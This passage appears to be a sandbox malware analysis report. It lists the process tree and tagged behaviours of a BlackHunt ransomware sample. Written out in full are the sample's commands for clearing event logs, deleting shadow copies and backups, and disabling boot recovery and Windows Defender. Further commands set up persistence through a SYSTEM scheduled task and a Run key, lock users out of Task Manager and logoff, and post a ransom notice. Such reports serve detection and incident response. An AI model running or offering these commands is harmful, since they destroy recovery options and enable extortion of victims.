    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:29724
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:29136
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:11000
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:29196
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:17468
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security
  2⤵
  PID:29232
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:8324
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Security /e:false
  2⤵
  PID:29272
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Security /e:false
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:10384
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:29308
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:6832
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:29340
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:7328
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:29392
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:18072
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:29428
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:30220
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:29456
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:30188
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:29524
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:30216
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
  2⤵
  PID:29564
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticecaption" /t REG_SZ /d "WARNING WARNING WARNING. " /f
    3⤵
    PID:30344
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
  2⤵
  PID:29612
- - C:\Windows\system32\reg.exe
    REG ADD "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v "legalnoticetext" /t REG_SZ /d " Your Network Infected With BlackHunt Ransomware Team. ALL Your important Files Encrypted and Stolen , Do You Want Your Files? read [ReadMe] Files carefully and contact us by [[email protected]] AND [[email protected]] " /f
    3⤵
    PID:30108
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
  2⤵
  PID:29640
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Delete /TN "Windows Critical Update" /F
    3⤵
    PID:30352
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
  2⤵
  PID:29692
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 0 /f
    3⤵
    PID:30460
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
  2⤵
  PID:29704
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 0 /f
    3⤵
    PID:30204
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c taskkill /IM mshta.exe /f
  2⤵
  PID:35656
- - C:\Windows\system32\taskkill.exe
    taskkill /IM mshta.exe /f
    3⤵
    - Kills process with taskkill
    - Suspicious use of AdjustPrivilegeToken
    PID:30440
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
  2⤵
  PID:29776
- - C:\Windows\system32\notepad.exe
    notepad.exe C:\ProgramData\#BlackHunt_ReadMe.txt
    3⤵
    PID:30308
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c C:\ProgramData\#BlackHunt_ReadMe.hta
  2⤵
  - Modifies registry class
  PID:29904
- - C:\Windows\SysWOW64\mshta.exe
    "C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
    3⤵
    - System Location Discovery: System Language Discovery
    PID:30492
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\System32\cmd.exe" /c ping 127.0.0.1 -n 5 > nul & del "C:\Users\Admin\AppData\Local\Temp\2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe"
  2⤵
  - System Location Discovery: System Language Discovery
  - System Network Configuration Discovery: Internet Connection Discovery
  PID:30008
- - C:\Windows\SysWOW64\PING.EXE
    ping 127.0.0.1 -n 5
    3⤵
    - System Location Discovery: System Language Discovery
    - System Network Configuration Discovery: Internet Connection Discovery
    - Runs ping.exe
    PID:11468

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:19580

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\ProgramData\#BlackHunt_ReadMe.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
1⤵
- System Location Discovery: System Language Discovery
PID:38844

C:\Users\Admin\AppData\Local\Temp\2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
C:\Users\Admin\AppData\Local\Temp\2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe
1⤵
- UAC bypass
- Checks whether UAC is enabled
- Drops desktop.ini file(s)
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: GetForegroundWindowSpam
- Suspicious use of AdjustPrivilegeToken
- System policy modification
PID:28316
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  PID:30640
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:5804
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:30156
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:6820
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  PID:30680
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:5300
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  PID:30708
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:12284
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
  2⤵
  PID:7604
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run" /v "{2C5F9FCC-F266-43F6-BFD7-838DAE269E11}" /t REG_SZ /d "C:\ProgramData\#BlackHunt_ReadMe.hta" /f
    3⤵
    - Adds Run key to start application
    PID:5924
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
  2⤵
  PID:5428
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender" /v "DisableAntiSpyware" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender DisableAntiSpyware settings
    PID:5752
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
  2⤵
  PID:5540
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection" /v "DisableRealtimeMonitoring" /t REG_DWORD /d 1 /f
    3⤵
    - Modifies Windows Defender Real-time Protection settings
    PID:17848
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
  2⤵
  PID:17068
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Spynet" /v "SubmitSamplesConsent" /t REG_DWORD /d 2 /f
    3⤵
    PID:7952
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
  2⤵
  PID:6100
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats" /v "Threats_ThreatSeverityDefaultAction" /t REG_DWORD /d 1 /f
    3⤵
    PID:11340
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
  2⤵
  PID:11900
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Low" /t REG_DWORD /d 6 /f
    3⤵
    PID:5988
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
  2⤵
  PID:16692
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Medium" /t REG_DWORD /d 6 /f
    3⤵
    PID:5440
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
  2⤵
  PID:8116
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "High" /t REG_DWORD /d 6 /f
    3⤵
    PID:18568
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
  2⤵
  PID:5212
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\Threats\ThreatSeverityDefaultAction" /v "Severe" /t REG_DWORD /d 6 /f
    3⤵
    PID:11808
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
  2⤵
  PID:1420
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows Defender\UX Configuration" /v "Notification_Suppress" /t REG_DWORD /d 1 /f
    3⤵
    PID:6836
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
  2⤵
  PID:6112
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d 1 /f
    3⤵
    PID:5532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
  2⤵
  PID:11116
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "StartMenuLogOff" /t REG_DWORD /d 1 /f
    3⤵
    PID:10412
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
  2⤵
  PID:10148
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableChangePassword" /t REG_DWORD /d 1 /f
    3⤵
    PID:7344
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:6276
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:11608
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
  2⤵
  PID:6572
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "NoLogoff" /t REG_DWORD /d 1 /f
    3⤵
    PID:18788
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
  2⤵
  PID:6640
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableLockWorkstation" /t REG_DWORD /d 1 /f
    3⤵
    PID:6496
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
  2⤵
  PID:6756
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableConfig" /t REG_DWORD /d 1 /f
    3⤵
    PID:12184
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
  2⤵
  PID:5824
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows NT\SystemRestore" /v "DisableSR" /t REG_DWORD /d 1 /f
    3⤵
    PID:11980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
  2⤵
  PID:5236
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\WinRE" /v "DisableSetup" /t REG_DWORD /d 1 /f
    3⤵
    PID:11668
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
  2⤵
  PID:7180
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupLauncher" /t REG_DWORD /d 1 /f
    3⤵
    PID:36668
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:7704
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableRestoreUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:36608
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:11444
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableSystemBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:1876
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
  2⤵
  PID:11512
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Backup\Client" /v "DisableBackupUI" /t REG_DWORD /d 1 /f
    3⤵
    PID:12768
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
  2⤵
  PID:6220
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "DisableTaskMgr" /t REG_DWORD /d 1 /f
    3⤵
    PID:12852
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
  2⤵
  PID:5520
- - C:\Windows\system32\reg.exe
    reg add "HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d 1 /f
    3⤵
    PID:13452
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe" /F
  2⤵
  PID:8744
- - C:\Windows\system32\schtasks.exe
    SCHTASKS.exe /Create /RU "NT AUTHORITY\SYSTEM" /sc onstart /TN "Windows Critical Update" /TR "C:\Users\Admin\AppData\Local\Temp\2025-12-17_728366bfceae22c97409382e32c0ce8a_elex_glassworm_luca-stealer_medusalocker_njrat_remcos.exe" /F
    3⤵
    - Scheduled Task/Job: Scheduled Task
    PID:12964
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
  2⤵
  PID:18196
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:3348
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
  2⤵
  PID:9156
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=F:\ /on=F:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:7800
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
  2⤵
  PID:5732
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=401MB
    3⤵
    - Interacts with shadow copies
    PID:9352
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
  2⤵
  PID:6120
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=C:\ /on=C:\ /maxsize=unbounded
    3⤵
    - Interacts with shadow copies
    PID:7728
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=N:\ /on=N:\ /maxsize=401MB
  2⤵
  PID:8784
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=N:\ /on=N:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:18336
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=N:\ /on=N:\ /maxsize=unbounded
  2⤵
  PID:19100
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=N:\ /on=N:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:12684
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=M:\ /on=M:\ /maxsize=401MB
  2⤵
  PID:8952
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=M:\ /on=M:\ /maxsize=401MB
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:12716
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin resize shadowstorage /for=M:\ /on=M:\ /maxsize=unbounded
  2⤵
  PID:36600
- - C:\Windows\system32\vssadmin.exe
    vssadmin resize shadowstorage /for=M:\ /on=M:\ /maxsize=unbounded
    3⤵
    - Enumerates connected drives
    - Interacts with shadow copies
    PID:12472
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c vssadmin.exe Delete Shadows /all /quiet
  2⤵
  PID:6624
- - C:\Windows\system32\vssadmin.exe
    vssadmin.exe Delete Shadows /all /quiet
    3⤵
    - Interacts with shadow copies
    PID:13652
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} recoveryenabled No
  2⤵
  PID:6792
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} recoveryenabled No
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:20120
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
  2⤵
  PID:12624
- - C:\Windows\system32\bcdedit.exe
    bcdedit /set {default} bootstatuspolicy IgnoreAllFailures
    3⤵
    - Modifies boot configuration data using bcdedit
    PID:13708
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil.exe usn deletejournal /D C:
  2⤵
  PID:3744
- - C:\Windows\system32\fsutil.exe
    fsutil.exe usn deletejournal /D C:
    3⤵
    - Deletes NTFS Change Journal
    PID:24884
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wbadmin.exe delete catalog -quiet
  2⤵
  PID:12740
- - C:\Windows\system32\wbadmin.exe
    wbadmin.exe delete catalog -quiet
    3⤵
    - Deletes backup catalog
    PID:30752
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
  2⤵
  PID:12936
- - C:\Windows\system32\schtasks.exe
    schtasks.exe /Change /TN "\Microsoft\Windows\SystemRestore\SR" /disable
    3⤵
    PID:20116
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D F:\
  2⤵
  PID:30932
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D F:\
    3⤵
    - Enumerates connected drives
    PID:31172
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D C:\
  2⤵
  PID:30976
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D C:\
    3⤵
    PID:31476
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D N:\
  2⤵
  PID:31040
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D N:\
    3⤵
    - Enumerates connected drives
    PID:31652
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c fsutil usn deletejournal /D M:\
  2⤵
  PID:31024
- - C:\Windows\system32\fsutil.exe
    fsutil usn deletejournal /D M:\
    3⤵
    - Enumerates connected drives
    PID:31692
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Setup
  2⤵
  PID:31124
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Setup
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:14160
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl System
  2⤵
  PID:31112
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl System
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:31712
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c wevtutil.exe cl Application
  2⤵
  PID:31156
- - C:\Windows\system32\wevtutil.exe
    wevtutil.exe cl Application
    3⤵
    - Clears Windows event logs
    - Suspicious use of AdjustPrivilegeToken
    PID:10500
- C:\Windows\System32\cmd.exe
